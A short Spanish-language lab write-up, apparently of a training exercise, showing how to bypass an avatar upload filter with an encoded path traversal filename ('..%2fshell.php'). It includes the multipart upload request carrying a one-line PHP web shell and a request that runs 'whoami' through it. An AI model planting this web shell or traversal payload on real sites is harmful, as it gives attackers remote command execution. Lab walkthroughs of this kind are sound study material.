Web shell upload via path traversal
![[20251013234935.png]](/assets/20251013234935.BUwH8f9V.png)
En el sitio web encontramos un apartado para subir una imagen como avatar.
![[20251014002708.png]](/assets/20251014002708.D3CfH7xb.png)
![[20251014003046.png]](/assets/20251014003046.BGMq8qkS.png)
Al intentar subir un archivo php y trata de ejecutar comandos este no da ningun resultado.
![[20251014003057.png]](/assets/20251014003057.l2gqwy7W.png)
Por lo que intente bypasear y lo que me llego a funcionar es un path traversal ..%2f
c
------geckoformboundary4a35b6ade6f323bf1f0d21aca4532235
Content-Disposition: form-data; name="avatar"; filename="..%2fshell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>Al enviar nuevamente y el archivo se sube correctamente.
![[20251014003631.png]](/assets/20251014003631.Df2fB11I.png)
Ahora al ejecutar podemos observar que ejecuta el comando.
c
/files/avatars/..%2fshell.php?cmd=whoami![[20251014003740.png]](/assets/20251014003740.Dn_qp2gM.png)
c
GET /files/shell.php?cmd=whoami HTTP/2